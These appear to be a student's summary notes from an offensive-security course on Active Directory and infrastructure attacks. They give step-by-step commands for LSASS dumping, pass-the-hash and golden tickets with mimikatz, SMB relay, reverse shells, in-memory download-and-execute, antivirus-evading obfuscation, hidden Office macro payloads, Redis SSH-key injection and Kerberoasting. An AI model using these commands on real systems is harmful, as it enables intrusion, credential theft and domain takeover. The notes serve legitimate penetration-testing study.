Moudle Summary Guide:

All scripts used in the moudle are linked and can be downloaded by clicking on it. Example:

*dsquery is part of RSAT. (download)

Notice that **dsquery** is linked in order to provide you with extra information about it,

RSAT is also linked for extra information. And can be downloaded by clicking on the (**download**).

(**scripts.ps1**) are linked to the raw code on github.

Commands are written in green, important flags are explained right after.

Active directory components:

Domain , Tree , Forest , Objects.

Active Directory Services:

Domain services , Authorization (kerberos) , Database (queried by LDAP protocol).

Enumeration process steps:

1- mapping users.

2- Identifying local administrator (for privilege escalation on the local system)

3- Mapping relations between objects in a group (may give path for privilege escalation)

**there is two types of enumerations:

Manual enumeration: 1- dsquery user/computer dc=[domain name], dc=[domain extension]

*dsquery is part of RSAT. (download)

2- rundll32.exe dsquery.dll OpenQueryWindow (for GUI interface)

*rundll32: Loads and run 32-bit DLLs. (must be run from elevated CMD)

*lsass process can be dumped by executing a native comsvcs.dll DLL found in Windows\system32 with rundll32: (PowerShell)

```
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [lsassID] [path to dump] full
```

3- gpresult /r

*gpresult Displays the Resultant Set of Policy (RSoP). Used to map information about user privileges and vulnerabilities exploitation.

Automatic enumeration:

1- **SharpHound**(sharphound.ps1)**, Neo4j** (download)**, BloodHound** (github).

The **SharpHound** sends LDAP queries to AD, collecting information and saving it in zip file (JSON format), then **Neo4j** orginize, calculate and handle the relations of the data collected by SharpHound, at the end the data can be uploaded to **BloodHound** and be easily analyzed allowing to map the structure of the compromised organization.

2- **PingCastle**: (download)

Open-source GUI windows-based tool used to automaticly collect important information about the AD by sending LDAP queries, it enumerates the AD and provide different types of reports by checking the security risk level of the domain

3- **PowerView:** (powerview.ps1)

PowerView is PS moudle that includes scripts that enable gathering information about the domain enviroment.

PowerView commands:

Get-NetLoggedOn : represents the users currently logged in the local system.
Get-NetLocalGroup -computername “[computer-name]” : display all local groups on local machine.
Get-NetGroupMember : provides overview of the domain groups relation.
Get-NetDomainController : enumerates the DC.
Get-NetOU : enumerats the organization units, provides info about the organization structure.
Get-NetUsers : enumerates all users in the AD.
Get-NetDomain : enumerates all the domains in the AD.
Get-NetForestDomain : enumerates all forest domains in the AD.
Get-NetPrinter : enumerats all printers that are connected to the AD.
Get-NetShare : enumerates all shared files in the domain.

Lateral movement steps:

1- Getting permissions on the local system.

2- Using user permissions to extract session hashes (if user is part of group).

3- Dumping credentials of other memebers in the group.

4- Performing PTH attack (Invoke-Mimikatz or Invoke-PsExec) seeking users/groups with active connection with the Domain Admin.

5- Repeating untill reaching Domain Admin.

LDAP: (Lightwieght Directory Access Protocol), responsible for the communication between the client and the Active Directory. LDAP queries provide the ability to retrive information from Active Directory about the users, accounts, passwords, etc..
*many LDAP queries may be suspicious and LDAP queries may be blocked, the way to prevent this is using the **throttling** method by changing the interval between query submissions.

*ntdsutil commands can be used to limit LDAP queries to the Active Directory and prevent service attacks.

PsExec: part of sysinternals, used for remote process execution and system management, it uses **SMB protocol** (server message block), smb traffic should be allowed by the firewall in order to run PsExec.

PsExec.exe -s cmd : opens cmd with system privileges (NT-Authurity).
PsExec \\[ip or computer name] -u "[domain\username]" -p [password] -c [program] : copies cmd to remote computer.

WMI: (Windows Management Instrumentation), a microsoft powerful utility manages data and applications localy and remotely.
*WMI command line utility called **wmic,** it enables users to easily enumerate systems.
wmic commands: wmic process list brief : extract a list of running processes on the system.
wmic process call create "[proc-name]" : creates a process.
wmic process where name="[proc-name]" call terminate : terminates a process.
wmic computersystem get [attribute] : enumerates the system (each attribute used specifies unique data).
wmic nicconfig get ipaddress, maccaddress : provides network information.
wmic startup list full : retrives a full startup list.
wmic useraccount/group/sysaccount list : lists users and groups.
wmic share list : provides shared folders list.
wmic service list brief : lists services.
wmic /record:users_list.xml useraccount list : lists local accounts.

CIM: (Common Infromation Model), an open-source tool released by DMTF (Distributed Management Task Force). WMI is the Microsoft version of CIM.

Get-Command -Noun Cim* : displays the Cim commands (Cim commands allow users to fully interact with WMI in a simple manner).
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = "[proc-name]"} : this command creates a new process.

*wmi requires Admin privileges in order to interact with Domain enviroment, appropriate permissions must be set on firewall and remote UAC (user account controll) must be disabled.

wmic /node:[target.domain] /user:[domain\user] /password:[password] process call create "[proc-name]" : opens process remotely.

WinRM: (Windows Remote Management), a microsoft protocol for device and server management. It is used to connect and work with remote windows devices. (similar to SSH in linux)

*winrm.exe can be used to enumerates WMI object and execute WMI methods.
*WinRm requires Administrator permissions in order to manage the system.
*executing system commands remotely with WinRm is done by **Invoke-Command**.

Invoke-Command -ComputerName “[pc] -Credential [username] -ScriptBlock {[command]} : this command executes commands remotely.

*WinRm can be used for lateral movement by creating sessions with another hosts:

1- enabling remoting: Enable-PSRemoting -Force

2- adding to trusted hosts list: Set-Item WSMan:\localhost\Client\TrustedHosts *

3- creating sessin: Enter-PSSession -ComputerName “[pc]” -Credential “[username]”

PassTheHash attack:

Pass the hash is an attack that enable a logon to a system by using the password hash (NTLM) and not the password it self.

Attack steps:

1- using mimikatz > privilege::debug > sekurlsa::logonpasswords

2- extracting the ntlm hash of the specified user.

3- sekurlsa::pth /user:[username] /domain:[domain.name] /ntlm:[hash]

4- using PsExec in order to inject the system.

DNS lookup order:

1- client searches for specific domain in the local dns cache.

2- if not found, then it queries the root dns server for the location of .com/net/org..etc.

3- after being directed to the domain location it searches for the sites name.

4- if not found, client will search for the ip address in the LLMNR cache using multicast request.

5- if not found, client will search the destination computer NetBIOS using boradcast request.

NBT-NS: (NetBIOS Name Service) is used to handle failed DNS resolutions, this protocol can be exploited in order to impersonate the desired NetBIOS name. *NBT-NS requests are sent in boradcast

LLMNR: (Local-Link Multicast Name Resolution) a protocol that function as fallback when the DNS service fails, allowing a given station to search for domain name locally, this protocol can be exploited the searched computer in multicast.

Responder: it’s a multi-protocol fake service provider written in python, it can respond to queries by LLMNR, NBT-NS, WPAD and other authintication protocols. (git clone – kali).
*Responder can be activated with responder.py -I [interface] command, it will generate the NTLM-v2 hash.
*Responder can be configured via Responder.conf file (located at the Responder’s directory).

NTLM hash: windows used NTLM hash to store password in a secured way, the NTLM hash can be used in order to discover the user’s credentials, or to perform PTH or brute force attacks, NTLM hashes are stored in the SAM file (local user) and NTDS.dit file (domain user), NTLM v1/2 hash are challenge-response protocols.
*some hashes can be stored locally in registry known as LSA.

NTLM vs **NTLMSSB**: NTLM is challenge response authentication process that prevent interception the password in plain text over the network. NTLMSSB function the same way with extra layer of security which contains a symmetric digital signature to conform that it wasn't alerted.

Net-NTLM: this used to authenticate the client to network resources via NTLM protocol. *Net-Ntlm hashes can't be used in PTH attacks, this hash can be used in brute-force attack in order to discover the credintials.

Challenge-Response steps: (in order to access resources in the domain)
*NTLM protocol is used to authenticate clients through this mechanism.

1- the client sends the username to the server for authentication.

2- the server sends a challenge to the user (random 16-bytes number).

3- the client encrypts the challenge with it's NT hash and send challenge-response back to the server.
(challenge response is the Net-NTLM hash)

4- the server sends the client username and challenge-response to DC in order to authenticate the user identity.

SMB authentication steps: (challenge-response steps with MITM between client and server)

1- the attacker searches for privileged client who have access to where the attacker wants to reach.

2- the attacker waits for the client to misstype the location address.

3- the attacker asks the client for NTLM, (once the attacker got the NTLM hash of the client he can choose to where the attacker want to connect in the server, then send the hash to the server).

4- the server sends challenge to the attacker, then the attacker passes it to the client.

5- the client solve the challenge, passes it to the attacker.

6- the attacker passes the challenge to the server.

7- the server response with "Authentication Granted" , attacker can access the wanted address.

8- the attacker sends the client "Authentication Failed".

*this attack can be prevented by deploying **SMB Signing** on the server and the client.

SMB-Named Pipes: it's the interaction of the processes with the services using the SMB protocol. In other words, it's the session established between the client and the server over SMB. For more information: Named Pipes.

SMB Relay attack steps:

1- using CrackMapExec for target detection:
`crackmapexec smb [ip.0/subnet] --gen-relay-list [filename]` this command will scan for vulnerable targets on the network that run SMB services without a signing option, then saves the results to a file.

2- disabling the SMB and HTTP settings in the Responder.conf file:
(`SMB = off` , `HTTP = off`).

3- running the responder in order to manipulate the network traffic:

```
responder -I [network interface]
```

4- using ntlmrelayx (impacket tool) and waiting for the client to misstype a location (this will activate LLMNR/NBNS) and gaining an SMB client interactive shell:
`python3 ntlmrelayx.py -tf [filename] -smb2support -i` this command will start a listener on the vulnerable hosts from step1 (hosts provided in [filename]), once the misstype in done an interactive SMB client shell (-i) will be established.

5- intializing the interactive SMB client shell via NetCat:

```
nc [ip] [port]
```

ADVANCED INFRASTRUCTURE ATTACKS
MODULE SUMMARY

PowerShell Policy:

In windows as defualt PS doesn't allow users to execute unverified scripts (a safety method), this can be evaded by Set-Execution Policy bypass or Set-Execution Policy Unrestricted. The main difference between the two commands is that bypass can be noisy and might be suspicious it also permits the execution of unknown scripts without alerting the user.
*incase of powershell is not running with privileged user, Set-Execution Policy bypass/unrestricted -Scope currentuser/process -Force command should be used.
*more information about Execution Policies can be found here.

PowerShell ISE: A tool that can be used to run commands, write and debug PS scripts.

PowerShell commands:

importing module: Import-Module [module-name]
*this command is used in order to import internal PS module, user must be in the directory that contain the module in order to import it.

running PS with another user's creditials: runas /user:[username@domain] powershell

turning off the Firewall: Netsh Advfirewall set allprofiles state off
*in order to successfully execute this command, PS must be running with Administrator privileges.

downloading files/scripts: there is several ways to download files/scripts via PS:
1- (New-Object Net.WebClient).DownloadFile('url-of-the-file', 'path-to-save-the-file') -Downloading to hard drive.
2- wget "url-to-the-file" -outfile "path-to-save-the-file" -Downloading to hard drive.
3- IEX (Net-Object Net.WebClient).DownloadString("url-of-the-script") -writing to RAM.

checking module commands options: Get-Command -Module [module-name]

activating module: Invoke [module-name]

PowerSploit: it's a collection of PS modules, can be used to manipulate Windows OS. (PowerSploit.psd1).

Nishang: contains more script than PowerSploit, can be used for backdoors, privilege escalation, exploitation, MITM and more. (Nishang.psm1)

PowerCat: this module supports remote data transfer, remote shells and lateral movement. (PowerCat.ps1).
*powercat can be used as a reverse shell by applying netcat listener on kali with nc -lvp [port] command (l=listen to the connection, v=verbose mode, p=port) , then executing the following command in PS:
powercat -c [target-ip] -p [port] -ep (-ep will open PS in kali)

Invoke-Mimikatz: this module has one job, it dump the lsass process. (Invoke-Mimikatz.ps1).

Obfuscation techniques:

Content remnaming: changing names, classes and methods in the script.

String encryption: encrypting the scripts to an unreadable text.

Controll flow: changing the conditions and iterations in the script (keeping the script logic) *this may impact the performance of the script.

Dummy code insertion: inserting dummy codes to the script (codes that do nothing).

*the main goal of obfucation is to run the script without being detected by anti-virus programs, however obfuscation changes the file's hash but it doesn't change the way the file functions, so obfuscation will not sure always work.

*mutliple obfuscation can be performed on the same script with different ofbuscation methods in order to maximize the risk evading of getting detected by Anti-Virus programs, for example: a script can be obfuscated manually then applying automatic obfuscation with Invoke-Obfucation then obfuscate the script again with Chimera and in the end packing the script. The major disadvantage of this step is that multiple obfuscation may impact the way the script function and in the end the script may not work.

Obfuscation types:

Manual obfuscation:
replacing all the name values in the script. This type of obfuscation can bypass anti-virus programs because the file's hash will be changed but most important is that the values which been replaced with uniqe ones are no longer resemble those is the anti-virus database.

Automatic obfuscation:
1- invoke-obfuscation (invoke-obfuscation.psd1): automatic tool used with PS, can be used to change the appearance of the script without damaging its function, it's usefull because PS is defualtly installed on Windows. This tool can be downloaded to RAM, it evades Anti-virus programs and doesn't output entries to logs.
*set execution policy must be applied before downloading the script otherwise it will not work.
To apply obfuscation on specific script set scriptpath [path-to-script] command must be used, then must choose obfuscation method.
*this module doesn't generate new obfuscation file, instead it will output the result copy command must be used in order to copy the new obfuscated script to the dashboard then making new ps file script and pasting the output there.

Invoke-obfuscation steps:

1- choosing obfuscation option.

2- choosing the script to obfuscate with set scriptpath [path-to-script] command.

3- choosing obfuscation method.

4- copying the result with copy command.

5- pasting the result in new ps script file.

6- importing the new script with Import-Module [script].

2- Chimera-Obfuscation (git clone – kali): automatic linux tools used to obfuscate PS scripts.

ADVANCED INFRASTRUCTURE ATTACKS
MODULE SUMMARY

Office Suite Exploitation:

Word office:

in microsoft word office, there is option to interact with the system and execute commands using macro. macro is based on VB (Visual Basic) programing language, using the Shell command macro can be used to execute applications. For example:

```
Sub [sub_name]()

        Shell (“[path_to_process.exe]”)

End Sub
```

This command will open a system process when the client enables the security alert once he open word.
*/k or /c can be used in the end of a command in order to open a process in hidden way or not.

SFX: SFX are self extracting executables that can extract their content and run the attached files.

SFX flow chart:
1- preparing a payload and legitimate file (document/picture..etc)
2- changing the icon to legitimate one.
3- adding the files to archive file and enabling the SFX option then adding the names of the files in the setup tab.
4- hidding the files (SFX has build-in option to hide files within it).
5- change the file name (can be used with RTL-Override).

Excel office:

In Excel office, Formulas feature can be used to interact with the system (similar to macros), and can be used for code execution or dicsclose data since some data can be extracted from external sources.
The formulas syntax (injected code) supports direct execution via pipes.
=cmd|’[command]’![cell_number] command will executed when the document is closed and reopened.
There are several ways to hide the malicious code, the code text color can be changed to white. Another way is to execute the code with /C (will hide the process), and finally -windowstyle hidden command can be used to run the process in hidden way.

Exploiting Services:

Basic enumeration:

the first step of services exploitation is to enumerate the system by extracting usernames, machine names, network resourses, shares and services. Then creating an active connection with the system and perform direct queries to gain more information. The last step is to search for vulnerabilities in the system. the vulnerabilities can be searched via Logical Bugs , Features , Old Versions.. etc.
*there is common vulnerability search tools: CVE.MITRE , CVE.DETAILS , SearchSploit (Built-in Kali). After finding the vulnerability Exploit-db can be used in order to exploit it. If the vulnerability found via SearchSploit with the command searchsploit [name], usually the output will give us path to the exploitation searchsploit -m [path-title] command will extract the script to exploit the vulnerability.

Nmap for enumeration:

namp -sV -sC [ip] -p- command is used to check services name and version (-sV), executing scripts on the services (-sC) and enumerate all ports (-p-).

DNS Zone Transfer via AXFR:

DNS zone transfer using AXFTR protocol in order to replicate DNS records across DNS servers. To avoid the need to edit information on mutiple DNS servers, this option allows to edit information on one server and use AXFR to copy information to other servers. However, if the server is not protected well, attacker can use AXFR to gain information about all hosts.
AXFR protocol does not require authentication, which means that any client can ask a DNS server for a copy of the entire zone. (unless a protection is implemented) dig [domain.com] @[ip] axfr command will give a copy of the zone.

ADVANCED INFRASTRUCTURE ATTACKS
MODULE SUMMARY

Mail Relay:

it's the process of routing emails to their destinations. Typically used in local networks to transmit emails among local users. It uses SMTP (Simple Mail Transfer Protocol). *SMTP typically operates on port 25.
Exploiting SMTP:
1- checking if port SMTP is open via nmap scan.
2- connecting with telnet to the machine ip with port 25 telnet [ip] 25.
3- setting up destination and source email via MAIL FROM:<email> and RCPT TO:<email>.
4- adding email content via DATA. Then typing dot "." then enter in order to send the data.

Software Bugs:

OpenSSH: SSH (SecureShell) is a method of securely communicating with another computer by encrypting all traffic send via this connection. OpenSSH version 7.7 and below are vulnerable and can be exploited to obtain usernames that were registered in the OpenSSH server. After founding the user, a Brute-Force attack can be executed.
openSSH bug exploitation steps:
1- (CVE-gitlab) downloading the CVE git clone https://gitlab.com/epi052/cve-2018-15473.git
2- installing the requirements pip install -r requirements.txt
3- giving permissions to the script chmod u+x ssh-username-enum.py
4- creating wordlist that contains possible usernames
5- exploiting the vulnerability, ./ssh-username-enum.py -w [wordlist] [ip]

OpenSSL: OpenSSL is an open-source version of SSL and TLS protocols, providing encryption and server authentication over the internet, enables users to connect remotely and securely.
Heartbeat: this protocol ensures that the client-server connection is continuous.
Heartbleed: is a bug in old versions of OpenSSL, it enables a large amount of RAM to be accessed, this bug could be used to disclose passwords and private keys from the RAM.

Misconfiguration Bugs:

Anonymous FTP: a system may have misconfiguration of AnonymousFTP that allows the users on the internet to access files, programs and other data without the need of username or password. It is possible to connect to the server/client with username:anonymous , passowrd:anonymous. In most cases AnonymousFTP is disabled by default. ftp [ip] command will connect us to the machine, typing the anonymous credentials will connect us without the need of username/password. Then we can check FTP commands with help command.

Redis Server: Redis is NoSQL database that grants access to multiple data structures via set of commands, commands are send using sever-client model with TCP sockets.
*commands are executed using the server administrator's permissions.
To check if the data can be stored in the server, it is possible to connect with telnet telnet [ip] [redis-port] then using the set [key] [value] if OK is returned then the server stores data. get [key] will return the key value we specified.
Exploiting Redis Server:
1- scanning the network and checking if there is Redit server up.
2- connecting to server with telnet telnet [ip] [redis-port], and using ping command to check if there is respond.
3- installing Redis-cli via sudo apt-get install redis-tools command.
4- connecting to Redis server redis-cli -h [ip] (-h=host). Then using ping to check connection.
5- generating SSH key (public & private) on host, ssh-keygen -t rsa -b 2048, (-t= encryption method, -b=complex), then we give the key a name (it is saved in /root/.ssh/id_rsa)
6- after generating the public and private key, *nano should be used and first and last 3 lines at least must be empty because the server will write to those lines later and if the lines are not clear the text will be overwritten.
7- injecting the public key in the Redis server, cat [keyname.pub] | redis-cli -h [ip] -x set key
8- connecting to redis server redis-cli -h [ip], then get key command will display the key we injected.
9- running config set dir /home/[username]/.ssh, in order to move the injected key to the .ssh directory.
10- config set dbfilename "authorized_keys" *in WindowsOS it is "administartors_authorized_keys".
11- saving the process with save command then exit with quit command.
12- connecting to the server with private key, ssh -I [privatekeyname] [username]@[ip]
13- checking for vulnerablities in the machine for privilage escalation.

ADVANCED INFRASTRUCTURE ATTACKS
MODULE SUMMARY

Shell: a user interface that enables accessing the OS services. It manages user-system interactions by prompting users for input, processing it, and handles the OS output. Shell is the external layer of an OS.

Bind Shell Vs Reverse Shell: Bind shell have a listener on the target machine, attacker connect to the listener in order to gain remote shell. Reverse shell the listener is applied on attacker machine, the remote target machine comunicates with the attacker enabling remote code execution.

Tunneling: A method used to evade Firewalls, where on protocol is used to carry traffic for another protocol by encapsulating the data with the second protocol. Since tunneling envolves repackaging the traffic data in a different form, it can hide the nature of the traffic that runs through the tunnel.
*tunneling protocol works by using data parts of a packet to carry the packet that provides the service.
*tunneling avoids data inspection when working with protocols other that TCP.
*the most common type of tunneling is performed via SSH, it is used to secure unencrypted traffic.

SSH Tunneling: a method used to transfer data via SSH protocol, the tunnel can be used to transfer raw data through an encrypted channel. This method may be able to pypass Firewalls and other security measures.
*It is possible to forward any TCP port and tunnel the traffic over SSH connection.
SSH tunnel can be created using `ssh -L [local port:localhost ip:remote port] -N -f [user]@[ip]` (`-L`=specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side.
`-N`=do not execute remote command,this is useful for just port forwarding. `-f`=backgrounds the ssh)
this command forwards all traffic intended to localhost:remoteport to the remote host. And the traffic is encapsulated with SSH protocol and not visible to any inspector.

SSH Tunneling steps:

1- enabling root login in SSH service configuration file: `nano /etc/ssh/sshd_config` searching for "PermitRootLogin" line and switching the value from "prohibit-password" to "YES".

2- starting SSH service on on attacker machine: `service ssh start`

3- blocking all incoming traffic on prot 80 in attacket machine:
`iptables -A INPUT -p tcp --dport 80 -s [attackerIP] -j REJECT` (`-A`= append INPUT rule to the chain, `-p`= protocol type, `--dport`= destination port or port range specification, `-s`= soruce specification, `-j`= jump, this specifies the target of the rules, like what to do if the packet matches it.

4- Establishing communication via SSH tunneling:
`ssh -L [localPORT:localhostIP:remotePORT(80) -f -N [user]@[target ip]`

ADVANCED INFRASTRUCTURE ATTACKS
MODULE SUMMARY

Kerberos: Kerberos is ticket-based protocol, used to authenticate users in order to access services and resources in Domain enviroment. It allows authentication over an unsecured network while still proving the user’s’ identity.

KDC: “Key Distribution Server”, its implemented as a domain server, it uses the Active Directory as its account database, it is responsible for the authentication process using Kerberos. *It can be configured on Linux Server.

TGT: “Ticket Granting Ticket”, it is a ticket given to the client by the KDC, encrypted with the KDC private key, it is used to grand clients access to network resources by requesting access tickets from TGS.

TGS: “Ticket Granting Server”, it’s a certification server located in the KDC, and responsible for issuing service tickets to a user in order to access services.

KRBTGT: “Kerberos Ticket Granting Ticket Account”, a special account that acts as a service account for the KDC, it create, encrypt and sign all Kerberos tickets. If this account compromised, the entire security of the domain will be compromised as well.

Kerberos Authentication Steps:
1- Client send authentication request that includes date and time stamp to KDC.
*part of the request message is plain text, other part in encrypted with the client password.

2- KDC checks the client’s credentials by decrypting the encrypted part of the request with the users password (since it have all the credentials in its database, if the message is decrypted then authentication success.

3- KDC response with a TGT (TGT is encrypted with password that only the server knows) to the client.
*TGT is stored in the Kerberos tray in RAM and it is volatile. TGT usually expires after 8 hours.

4- Client uses TGT and send request to access a specific service, KDC decrypts the TGT, if succeeded it sends TGS encrypted with the service password to the client and it contains service access instructions (this way the service knows what the client can access).
*TGS is also stored in Kerberos tray in RAM, and expires after 8 hours, the client can’t see the content of the ticket since it is encrypted with the service password.

5- Client sends copy of TGS to the service in order to access it, the serivce decrypt the ticket if succeeded, service can be accessed, *service also check the service access instructions in order to specifie the access of the client.

Kerberos Attacks:
- Kerberoasting: since TGS is encrypted with the NT hash of the service account by KDC, attacker can compromise the service owner (can be a computer or strong domain account) by extracting its TGS hash and brute force it in order to gain the password of the service owner.

Kerberoasting Attack Steps:
1- Checking the services running on domain (CMD): setspn -T [domain] -Q */*
(setspn used to manage service principal names. -T= perform query on specified domain. -Q= query for existence of SPN, */*= checks all SPNs in the domain.). This command shows whats services run on the domain.

2- Disabling the defender then opening PowerShell with Bypass policy, and downloading Invoke-Kerberoast (Invoke-Kerberoast.ps1), then downloading it to RAM: IEX (Net-Object Net.WebClient).DownloadString(“url-to-the-script”).

3- performing LDAP query using the script to find TGS’s and saving it to external file:
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII [filename.hash].
*notice that the hash contains: kerberos version, hash format, user, domain and service.

4- moving the tgs hash file to kali and using hashcat to brute-force it and gaining the service owner password.
*hash format must be specified. (hashcat -m [hashformat] [filename.hash] [wordlist])
*format can be checked with hashcat -h | grep -I kerberos.

- Pass The Ticket: similar to PTH, uses stolen Kerberos tickets to authenticate with a service provider.

PTT Atack Steps:
1- opening CMD as admin, running mimikatz.exe and gaining debugging privilege : privilege::debug.

2- searching for NT-hash and SID of domain admin: sekurlsa::logonpasswords.

3- performing PTH attack: sekurlsa::pth /user:[usern] /domain:[domain] /ntlm:[hash] /run cmd.

4- navigating to domain administrative share dir and adding domain admin then run mimikatz on the new CMD windows: dir \\dc\c$ then net user [newuser] [password] /add /domain finally net group [“domain admins”] /add /domain

5- extracting the NT-hash and SID of krbtgt: lsadump::dcsync /domain:[domain] /user:krbtgt

6- gaining golden ticket: kerbros::golden /krbtgt:[krbtgt.hash] /id:500 /domain:[domain] /sid:[domainAdmin-SID] /admin:[DomainAdmin] /ticket:[ticketname]. *the ticket is saved in the mimikatz folder.

7- creating golden ticket: kerberos::ptt [ticketname]. *verifying that ticket is loaded with klist command.

Useful articles (EXTRA!) :

basic attacks against SAM, LSA secrets, SYSKEY and LSASS with recommendations to prevent.

Practical guide to NTLM relaying.

DNS zone transfers (AXFR).